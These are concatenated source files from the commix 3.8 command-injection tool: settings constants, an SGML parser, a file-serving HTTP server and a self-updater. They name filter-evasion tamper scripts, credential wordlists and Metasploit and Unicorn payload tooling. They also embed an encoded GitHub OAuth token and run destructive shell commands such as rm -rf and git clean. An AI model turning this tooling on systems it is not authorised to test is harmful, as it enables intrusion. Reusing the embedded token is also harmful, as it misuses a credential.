# Retest all techniques
RETEST = False
# Define the default credentials files
USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "usernames.txt"
PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "passwords_john.txt"
REQUIRED_AUTHENTICATION = False
INJECTED_HTTP_HEADER = False
INJECTION_CHECKER = False
# List of pages / scripts potentially vulnerable to Shellshock
CGI_SCRIPTS = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "shocker-cgi_list.txt"
# Metasploit Framework Path
METASPLOIT_PATH = "/usr/share/metasploit-framework/"
# Supported HTTP Authentication types
class AUTH_TYPE(object):
BASIC = "basic"
DIGEST = "digest"
BEARER = "bearer"
# HTTP Headers
HTTP_HEADERS = [ "user-agent", "referer", "host" ]
RAW_HTTP_HEADERS = ""
USER_SUPPLIED_TAMPER = ""
# Tamper scripts dict
TAMPER_SCRIPTS = {
"space2ifs": False,
"base64encode": False,
"hexencode": False,
"space2plus": False,
"space2htab": False,
"space2vtab": False,
"doublequotes": False,
"singlequotes": False,
"caret": False,
"multiplespaces": False,
"backslashes": False,
"nested": False,
"sleep2usleep": False,
"sleep2timeout": False,
"xforwardedfor": False,
"dollaratsigns": False,
"printf2echo": False,
"uninitializedvariable": False,
"slash2env":False,
"backticks":False,
"rev":False
}
UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [
"caret",
"space2vtab"
]
WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [
"backslashes"
"dollaratsigns",
"backticks",
"nested",
"singlequotes",
"slash2env",
"sleep2usleep",
"printf2echo",
"space2ifs",
"uninitializedvariable",
"rev"
]
EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [
"backslashes"
"caret",
"dollaratsigns",
"doublequotes",
"nested",
"singlequotes",
"slash2env",
"printf2echo",
"uninitializedvariable"
]
IGNORE_TAMPER_TRANSFORMATION = [
"IFS",
"if",
"then",
"else",
"fi",
"str",
"cmd",
"char"
]
# HTTP Errors
BAD_REQUEST = "400"
UNAUTHORIZED_ERROR = "401"
FORBIDDEN_ERROR = "403"
NOT_FOUND_ERROR = "404"
NOT_ALLOWED = "405"
NOT_ACCEPTABLE_ERROR = "406"
INTERNAL_SERVER_ERROR = "500"
NOT_IMPLEMENTED = "501"
BAD_GATEWAY = "502"
SERVICE_UNAVAILABLE = "503"
GATEWAY_TIMEOUT = "504"
HTTP_ERROR_CODES = [ BAD_REQUEST,
UNAUTHORIZED_ERROR,
FORBIDDEN_ERROR,
NOT_FOUND_ERROR,
NOT_ALLOWED,
NOT_ACCEPTABLE_ERROR,
INTERNAL_SERVER_ERROR,
NOT_IMPLEMENTED,
BAD_GATEWAY,
SERVICE_UNAVAILABLE,
GATEWAY_TIMEOUT
]
HTTP_ERROR_CODES_SUM = []
# End line
END_LINE = ["\r", "\n", "\r\n"]
# Check for updates on start up.
CHECK_FOR_UPDATES_ON_START = True
# Skip the mathematic calculation (Detection Phase)
SKIP_CALC = False
USE_BACKTICKS = False
METASPLOIT_ERROR_MSG = "You need to have Metasploit installed. "
METASPLOIT_ERROR_MSG += "Please ensure Metasploit is installed in the right path."
# Target URL reload
URL_RELOAD = False
# Command history
CLI_HISTORY = ""
# Check for multi encoded payloads
MULTI_ENCODED_PAYLOAD = []
# Default Timeout (Seconds to wait before timeout connection)
TIMEOUT = 30
# Retries when the connection timeouts (Default: 3).
MAX_RETRIES = 3
# End of file
EOF = False
# Init Test
INIT_TEST = ""
# Check Tor again
TOR_CHECK_AGAIN = True
# URL for checking internet connection.
CHECK_INTERNET_ADDRESS = "http://ipinfo.io"
# Check internet connection.
CHECK_INTERNET = False
UNAUTHORIZED = False
# Multiple OS checks
CHECK_BOTH_OS = False
OS_CHECKS_NUM = 2
# Options to explicitly mask in anonymous (unhandled exception) reports.
SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l"]
# Github OAuth token used for creating an automatic issue for unhandled exceptions.
GITHUB_REPORT_OAUTH_TOKEN = "YjNiYjdhZDBlYzM2MmM2NGEzYTAzZTc4ZDg1NmYwZTUyZGZlN2EyZQ=="
# Tranform payloads (via tamper script(s))
TRANFROM_PAYLOAD = None
CAPTCHA_DETECED = None
BROWSER_VERIFICATION = None
# Regular expression used for recognition of generic "your ip has been blocked" messages.
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)"
# Prefix for Google analytics cookie names
GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
# Default path for tamper scripts
TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/"
# Default path for settings.py file
SETTINGS_PATH = os.path.abspath("src/utils/settings.py")
# Period after last-update to start nagging (about the old revision).
NAGGING_DAYS = 31
LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False
# HTTP Headers
COOKIE = "Cookie"
HOST = "Host"
USER_AGENT = "User-Agent"
REFERER = "Referer"
ACCEPT = "Accept"
ACCEPT_CHARSET = "Accept-Charset"
ACCEPT_ENCODING = "Accept-Encoding"
ACCEPT_LANGUAGE = "Accept-Language"
AUTHORIZATION = "Authorization"
CACHE_CONTROL = "Cache-Control"
CONNECTION = "Connection"
CONTENT_ENCODING = "Content-Encoding"
CONTENT_LENGTH = "Content-Length"
CONTENT_RANGE = "Content-Range"
CONTENT_TYPE = "Content-Type"
EXPIRES = "Expires"
IF_MODIFIED_SINCE = "If-Modified-Since"
IF_NONE_MATCH = "If-None-Match"
LAST_MODIFIED = "Last-Modified"
LOCATION = "Location"
PRAGMA = "Pragma"
PROXY_AUTHORIZATION = "Proxy-Authorization"
PROXY_CONNECTION = "Proxy-Connection"
RANGE = "Range"
REFERER = "Referer"
REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794
SERVER = "Server"
SET_COOKIE = "Set-Cookie"
TRANSFER_ENCODING = "Transfer-Encoding"
VIA = "Via"
X_POWERED_BY = "X-Powered-By"
X_DATA_ORIGIN = "X-Data-Origin"
# HTTP Headers values
ACCEPT_VALUE = "*/*"
# Regular expression used for ignoring some special chars
IGNORE_SPECIAL_CHAR_REGEX = "[^/(A-Za-z0-9.:,_]+"
PERFORM_CRACKING = False
PAGE_COMPRESSION = None
# Force usage of given HTTP method (e.g. PUT).
HTTP_METHOD = ""
DECLARED_COOKIES = ""
MULTI_TARGETS = False
# Identified Redirect code
REDIRECT_CODE = ""
# Base64 padding
BASE64_PADDING = "=="
# Crawling phase
CRAWLING = CRAWLING_PHASE = False
CRAWLED_SKIPPED_URLS_NUM = 0
CRAWLED_URLS_NUM = 0
CRAWLED_URLS_INJECTED = []
SKIP_VULNERABLE_HOST = None
# Skipped crawled hrefs
HREF_SKIPPED = []
# Default crawling depth
DEFAULT_CRAWLING_DEPTH = 1
SITEMAP_CHECK = None
FOLLOW_REDIRECT = True
# Set predefined answers (e.g. "quit=N,follow=N").
ANSWERS = ""
CHECKING_PARAMETER = ""
# Run host OS command(s) when injection point is found.
ALERT = False
USE_PCRE_E_MODIFIER = None
PCRE_MODIFIER = "/e"
# eof commix-3.8/src/utils/sgmllib.py 0000664 0000000 0000000 00000043543 14466364451 0016640 0 ustar 00root root 0000000 0000000 """A parser for SGML, using the derived class as a static DTD."""
# Note: missing in Python3
# XXX This only supports those SGML features used by HTML.
# XXX There should be a way to distinguish between PCDATA (parsed
# character data -- the normal case), RCDATA (replaceable character
# data -- only char and entity references and end tags are special)
# and CDATA (character data -- only end tags are special). RCDATA is
# not supported at all.
from __future__ import print_function
try:
import _markupbase as markupbase
except:
import markupbase
import re
__all__ = ["SGMLParser", "SGMLParseError"]
# Regular expressions used for parsing
interesting = re.compile('[&<]')
incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|'
'<([a-zA-Z][^<>]*|'
'/([a-zA-Z][^<>]*)?|'
'![^<>]*)?')
entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')
charref = re.compile('&#([0-9]+)[^0-9]')
starttagopen = re.compile('<[>a-zA-Z]')
shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/')
shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/')
piclose = re.compile('>')
endbracket = re.compile('[<>]')
tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*')
attrfind = re.compile(
r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*'
r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?')
class SGMLParseError(RuntimeError):
"""Exception raised for all parse errors."""
pass
# SGML parser base class -- find tags and call handler functions.
# Usage: p = SGMLParser(); p.feed(data); ...; p.close().
# The dtd is defined by deriving a class which defines methods
# with special names to handle tags: start_foo and end_foo to handle
# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself.
# (Tags are converted to lower case for this purpose.) The data
# between tags is passed to the parser by calling self.handle_data()
# with some data as argument (the data may be split up in arbitrary
# chunks). Entity references are passed by calling
# self.handle_entityref() with the entity reference as argument.
class SGMLParser(markupbase.ParserBase):
# Definition of entities -- derived classes may override
entity_or_charref = re.compile('&(?:'
'([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)'
')(;?)')
def __init__(self, verbose=0):
"""Initialize and reset this instance."""
self.verbose = verbose
self.reset()
def reset(self):
"""Reset this instance. Loses all unprocessed data."""
self.__starttag_text = None
self.rawdata = ''
self.stack = []
self.lasttag = '???'
self.nomoretags = 0
self.literal = 0
markupbase.ParserBase.reset(self)
def setnomoretags(self):
"""Enter literal mode (CDATA) till EOF.
Intended for derived classes only.
"""
self.nomoretags = self.literal = 1
def setliteral(self, *args):
"""Enter literal mode (CDATA).
Intended for derived classes only.
"""
self.literal = 1
def feed(self, data):
"""Feed some data to the parser.
Call this as often as you want, with as little or as much text
as you want (may include '\n'). (This just saves the text,
all the processing is done by goahead().)
"""
self.rawdata = self.rawdata + data
self.goahead(0)
def close(self):
"""Handle the remaining data."""
self.goahead(1)
def error(self, message):
raise SGMLParseError(message)
# Internal -- handle data as far as reasonable. May leave state
# and data to be processed by a subsequent call. If 'end' is
# true, force handling all data as if followed by EOF marker.
def goahead(self, end):
rawdata = self.rawdata
i = 0
n = len(rawdata)
while i < n:
if self.nomoretags:
self.handle_data(rawdata[i:n])
i = n
break
match = interesting.search(rawdata, i)
if match:
j = match.start()
else:
j = n
if i < j:
self.handle_data(rawdata[i:j])
i = j
if i == n:
break
if rawdata[i] == '<':
if starttagopen.match(rawdata, i):
if self.literal:
self.handle_data(rawdata[i])
i = i + 1
continue
k = self.parse_starttag(i)
if k < 0:
break
i = k
continue
if rawdata.startswith("</", i):
k = self.parse_endtag(i)
if k < 0:
break
i = k
self.literal = 0
continue
if self.literal:
if n > (i + 1):
self.handle_data("<")
i = i + 1
else:
# incomplete
break
continue
if rawdata.startswith("<!--", i):
# Strictly speaking, a comment is --.*--
# within a declaration tag <!...>.
# This should be removed,
# and comments handled only in parse_declaration.
k = self.parse_comment(i)
if k < 0:
break
i = k
continue
if rawdata.startswith("<?", i):
k = self.parse_pi(i)
if k < 0:
break
i = i + k
continue
if rawdata.startswith("<!", i):
# This is some sort of declaration; in "HTML as
# deployed," this should only be the document type
# declaration ("<!DOCTYPE html...>").
k = self.parse_declaration(i)
if k < 0:
break
i = k
continue
elif rawdata[i] == '&':
if self.literal:
self.handle_data(rawdata[i])
i = i + 1
continue
match = charref.match(rawdata, i)
if match:
name = match.group(1)
self.handle_charref(name)
i = match.end(0)
if rawdata[i - 1] != ';':
i = i - 1
continue
match = entityref.match(rawdata, i)
if match:
name = match.group(1)
self.handle_entityref(name)
i = match.end(0)
if rawdata[i - 1] != ';':
i = i - 1
continue
else:
self.error('neither < nor & ??')
# We get here only if incomplete matches but
# nothing else
match = incomplete.match(rawdata, i)
if not match:
self.handle_data(rawdata[i])
i = i + 1
continue
j = match.end(0)
if j == n:
break # Really incomplete
self.handle_data(rawdata[i:j])
i = j
# end while
if end and i < n:
self.handle_data(rawdata[i:n])
i = n
self.rawdata = rawdata[i:]
# XXX if end: check for empty stack
# Extensions for the DOCTYPE scanner:
_decl_otherchars = '='
# Internal -- parse processing instr, return length or -1 if not terminated
def parse_pi(self, i):
rawdata = self.rawdata
if rawdata[i:i + 2] != '<?':
self.error('unexpected call to parse_pi()')
match = piclose.search(rawdata, i + 2)
if not match:
return -1
j = match.start(0)
self.handle_pi(rawdata[i + 2: j])
j = match.end(0)
return j - i
def get_starttag_text(self):
return self.__starttag_text
# Internal -- handle starttag, return length or -1 if not terminated
def parse_starttag(self, i):
self.__starttag_text = None
start_pos = i
rawdata = self.rawdata
if shorttagopen.match(rawdata, i):
# SGML shorthand: <tag/data/ == <tag>data</tag>
# XXX Can data contain &... (entity or char refs)?
# XXX Can data contain < or > (tag characters)?
# XXX Can there be whitespace before the first /?
match = shorttag.match(rawdata, i)
if not match:
return -1
tag, data = match.group(1, 2)
self.__starttag_text = '<%s/' % tag
tag = tag.lower()
k = match.end(0)
self.finish_shorttag(tag, data)
self.__starttag_text = rawdata[start_pos:match.end(1) + 1]
return k
# XXX The following should skip matching quotes (' or ")
# As a shortcut way to exit, this isn't so bad, but shouldn't
# be used to locate the actual end of the start tag since the
# < or > characters may be embedded in an attribute value.
match = endbracket.search(rawdata, i + 1)
if not match:
return -1
j = match.start(0)
# Now parse the data between i + 1 and j into a tag and attrs
attrs = []
if rawdata[i:i + 2] == '<>':
# SGML shorthand: <> == <last open tag seen>
k = j
tag = self.lasttag
else:
match = tagfind.match(rawdata, i + 1)
if not match:
self.error('unexpected call to parse_starttag')
k = match.end(0)
tag = rawdata[i + 1:k].lower()
self.lasttag = tag
while k < j:
match = attrfind.match(rawdata, k)
if not match:
break
attrname, rest, attrvalue = match.group(1, 2, 3)
if not rest:
attrvalue = attrname
else:
if (attrvalue[:1] == "'" == attrvalue[-1:] or
attrvalue[:1] == '"' == attrvalue[-1:]):
# strip quotes
attrvalue = attrvalue[1:-1]
attrvalue = self.entity_or_charref.sub(
self._convert_ref, attrvalue)
attrs.append((attrname.lower(), attrvalue))
k = match.end(0)
if rawdata[j] == '>':
j = j + 1
self.__starttag_text = rawdata[start_pos:j]
self.finish_starttag(tag, attrs)
return j
# Internal -- convert entity or character reference
def _convert_ref(self, match):
if match.group(2):
return self.convert_charref(match.group(2)) or \
'&#%s%s' % match.groups()[1:]
elif match.group(3):
return self.convert_entityref(match.group(1)) or \
'&%s;' % match.group(1)
else:
return '&%s' % match.group(1)
# Internal -- parse endtag
def parse_endtag(self, i):
rawdata = self.rawdata
match = endbracket.search(rawdata, i + 1)
if not match:
return -1
j = match.start(0)
tag = rawdata[i + 2:j].strip().lower()
if rawdata[j] == '>':
j = j + 1
self.finish_endtag(tag)
return j
# Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>)
def finish_shorttag(self, tag, data):
self.finish_starttag(tag, [])
self.handle_data(data)
self.finish_endtag(tag)
# Internal -- finish processing of start tag
# Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag
def finish_starttag(self, tag, attrs):
try:
method = getattr(self, 'start_' + tag)
except AttributeError:
try:
method = getattr(self, 'do_' + tag)
except AttributeError:
self.unknown_starttag(tag, attrs)
return -1
else:
self.handle_starttag(tag, method, attrs)
return 0
else:
self.stack.append(tag)
self.handle_starttag(tag, method, attrs)
return 1
# Internal -- finish processing of end tag
def finish_endtag(self, tag):
if not tag:
found = len(self.stack) - 1
if found < 0:
self.unknown_endtag(tag)
return
else:
if tag not in self.stack:
try:
method = getattr(self, 'end_' + tag)
except AttributeError:
self.unknown_endtag(tag)
else:
self.report_unbalanced(tag)
return
found = len(self.stack)
for i in range(found):
if self.stack[i] == tag:
found = i
while len(self.stack) > found:
tag = self.stack[-1]
try:
method = getattr(self, 'end_' + tag)
except AttributeError:
method = None
if method:
self.handle_endtag(tag, method)
else:
self.unknown_endtag(tag)
del self.stack[-1]
# Overridable -- handle start tag
def handle_starttag(self, tag, method, attrs):
method(attrs)
# Overridable -- handle end tag
def handle_endtag(self, tag, method):
method()
# Example -- report an unbalanced </...> tag.
def report_unbalanced(self, tag):
if self.verbose:
print('*** Unbalanced </' + tag + '>')
print('*** Stack:', self.stack)
def convert_charref(self, name):
"""Convert character reference, may be overridden."""
try:
n = int(name)
except ValueError:
return
if not 0 <= n <= 127:
return
return self.convert_codepoint(n)
def convert_codepoint(self, codepoint):
return chr(codepoint)
def handle_charref(self, name):
"""Handle character reference, no need to override."""
replacement = self.convert_charref(name)
if replacement is None:
self.unknown_charref(name)
else:
self.handle_data(replacement)
# Definition of entities -- derived classes may override
entitydefs = \
{'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''}
def convert_entityref(self, name):
"""Convert entity references.
As an alternative to overriding this method; one can tailor the
results by setting up the self.entitydefs mapping appropriately.
"""
table = self.entitydefs
if name in table:
return table[name]
else:
return
def handle_entityref(self, name):
"""Handle entity references, no need to override."""
replacement = self.convert_entityref(name)
if replacement is None:
self.unknown_entityref(name)
else:
self.handle_data(replacement)
# Example -- handle data, should be overridden
def handle_data(self, data):
pass
# Example -- handle comment, could be overridden
def handle_comment(self, data):
pass
# Example -- handle declaration, could be overridden
def handle_decl(self, decl):
pass
# Example -- handle processing instruction, could be overridden
def handle_pi(self, data):
pass
# To be overridden -- handlers for unknown objects
def unknown_starttag(self, tag, attrs):
pass
def unknown_endtag(self, tag):
pass
def unknown_charref(self, ref):
pass
def unknown_entityref(self, ref):
pass
class TestSGMLParser(SGMLParser):
def __init__(self, verbose=0):
self.testdata = ""
SGMLParser.__init__(self, verbose)
def handle_data(self, data):
self.testdata = self.testdata + data
if len(repr(self.testdata)) >= 70:
self.flush()
def flush(self):
data = self.testdata
if data:
self.testdata = ""
print('data:', repr(data))
def handle_comment(self, data):
self.flush()
r = repr(data)
if len(r) > 68:
r = r[:32] + '...' + r[-32:]
print('comment:', r)
def unknown_starttag(self, tag, attrs):
self.flush()
if not attrs:
print('start tag: <' + tag + '>')
else:
print('start tag: <' + tag, end=' ')
for name, value in attrs:
print(name + '=' + '"' + value + '"', end=' ')
print('>')
def unknown_endtag(self, tag):
self.flush()
print('end tag: </' + tag + '>')
def unknown_entityref(self, ref):
self.flush()
print('*** unknown entity ref: &' + ref + ';')
def unknown_charref(self, ref):
self.flush()
print('*** unknown char ref: &#' + ref + ';')
def unknown_decl(self, data):
self.flush()
print('*** unknown decl: [' + data + ']')
def close(self):
SGMLParser.close(self)
self.flush()
def test(args=None):
import sys
if args is None:
args = sys.argv[1:]
if args and args[0] == '-s':
args = args[1:]
klass = SGMLParser
else:
klass = TestSGMLParser
if args:
file = args[0]
else:
file = 'test.html'
if file == '-':
f = sys.stdin
else:
try:
f = open(file, 'r')
except IOError as msg:
print(file, ":", msg)
sys.exit(1)
data = f.read()
if f is not sys.stdin:
f.close()
x = klass()
for c in data:
x.feed(c)
x.close()
if __name__ == '__main__':
test()
commix-3.8/src/utils/simple_http_server.py 0000664 0000000 0000000 00000007237 14466364451 0021125 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import errno
import socket
from os import curdir, sep
from src.utils import menu
from src.utils import settings
from socket import error as socket_error
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import _thread as thread
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import socketserver as _socketserver
from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer
"""
Validates IPv4 addresses.
"""
def is_valid_ipv4(ip_addr):
pattern = re.compile(r"""
^
(?:
# Dotted variants:
(?:
# Decimal 1-255 (no leading 0's)
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's)
|
0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's)
)
(?: # Repeat 0-3 times, separated by a dot
\.
(?:
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2}
|
0+[1-3]?[0-7]{0,2}
)
){0,3}
|
0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff
|
0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777
|
# Decimal notation, 1-4294967295:
429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}|
42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}|
4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8}
)
$
""", re.VERBOSE | re.IGNORECASE)
return pattern.match(ip_addr) is not None
def grab_ip_addr():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8",53))
s.settimeout(2)
ip_addr = s.getsockname()[0]
s.close()
return ip_addr
except socket_error as err_msg:
if errno.ECONNREFUSED:
warn_msg = "Internet seems unreachable."
print(settings.print_warning_msg(warn_msg))
else:
print(settings.print_critical_msg(str(err_msg)) + "\n")
raise SystemExit()
class Handler(_BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
try:
#Open the static file requested and send it
f = open(self.path)
self.send_response(_http_client.OK)
self.send_header(settings.CONNECTION, "close")
self.end_headers()
self.wfile.write(f.read().encode())
return
except Exception:
error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)"
self.wfile.write(error_response.encode())
def log_message(self, format, *args):
return
class ReusableTCPServer(_socketserver.TCPServer):
allow_reuse_address = True
def main():
try:
connection_refused = False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket_error:
if errno.ECONNREFUSED:
connection_refused = True
if connection_refused == False:
# Start the server in a background thread.
httpd = ReusableTCPServer(('', settings.LOCAL_HTTP_PORT), Handler)
thread.start_new_thread(httpd.serve_forever, ())
commix-3.8/src/utils/update.py 0000775 0000000 0000000 00000022616 14466364451 0016472 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import subprocess
from src.utils import menu
from src.utils import settings
from src.utils import requirments
from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Check for updates (apply if any) and exit!
"""
"""
Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
"""
def revision_num():
try:
start = 0
end = 0
start = time.time()
process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, _ = process.communicate()
if settings.VERBOSITY_LEVEL == 0:
info_msg = ('Updated to', 'Already at')["Already" in stdout]
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Delete *.pyc files.
subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait()
# Delete empty directories and files.
subprocess.Popen("find . -empty -type d -delete", shell=True).wait()
if settings.VERBOSITY_LEVEL == 0:
stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
rev_num = match.group(0) if match else None
info_msg += " the latest revision '" + str(rev_num[:7]) + "'."
print(settings.SINGLE_WHITESPACE)
else:
sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL)
end = time.time()
how_long = int(end - start)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "."
print(settings.print_info_msg(info_msg))
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
"""
The commix's updater.
"""
def updater():
time.sleep(1)
info_msg = "Checking requirements to update "
info_msg += settings.APPLICATION + " from GitHub repository. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if menu.options.offline:
print(settings.SINGLE_WHITESPACE)
err_msg = "You cannot update commix via GitHub without access on the Internet."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if windows
if settings.IS_WINDOWS:
print(settings.SINGLE_WHITESPACE)
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "commix will try to update itself using '" + requirment + "' command."
print(settings.SINGLE_WHITESPACE)
print(settings.print_debug_msg(debug_msg))
# Check if ".git" exists!
else:
print(settings.SINGLE_WHITESPACE)
if os.path.isdir("./.git"):
info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) "
info_msg += "version. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
revision_num()
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
print(settings.SINGLE_WHITESPACE)
err_msg = "The '.git' directory not found. Do it manually: "
err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL
err_msg += " " + settings.APPLICATION + "' "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
print(settings.SINGLE_WHITESPACE)
err_msg = requirment + " not found."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
print("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check for new version of commix
"""
def check_for_update():
try:
response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT)
version_check = response.readlines()
for line in version_check:
line = line.rstrip()
if "VERSION_NUM = " in line:
update_version = line.replace("VERSION_NUM = ", "").replace("\"", "")
break
if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \
((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \
int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])):
while True:
message = "Do you want to update to the latest version now? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
updater()
elif do_update in settings.CHOICE_NO:
break
else:
common.invalid_option(do_update)
pass
except KeyboardInterrupt:
raise
except:
pass
"""
The updater for the unicorn tool
"""
def unicorn_updater(current_version):
APPLICATION_NAME = "TrustedSec's Magic Unicorn"
info_msg = "Checking requirements to update "
info_msg += APPLICATION_NAME + " from GitHub repository. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if menu.options.offline:
print(settings.SINGLE_WHITESPACE)
err_msg = "You cannot update TrustedSec's Magic Unicorn "
err_msg += "via GitHub without access on the Internet."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if windows
if settings.IS_WINDOWS:
print(settings.SINGLE_WHITESPACE)
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
if len(current_version) == 0:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/'))
os.chdir(unicorn_path)
else:
os.chdir("../")
subprocess.Popen("rm -rf unicorn", shell=True).wait()
info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) "
info_msg += "version. "
subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait()
os.chdir("unicorn")
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
revision_num()
else:
print(settings.SINGLE_WHITESPACE)
err_msg = requirment + " not found."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check the latest version of unicorn
"""
def check_unicorn_version(current_version):
try:
if len(current_version) != 0:
response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT)
latest_version = response.readlines()
for line in latest_version:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","")
break
if len(current_version) == 0 or \
(int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \
((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \
int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])):
if len(current_version) != 0:
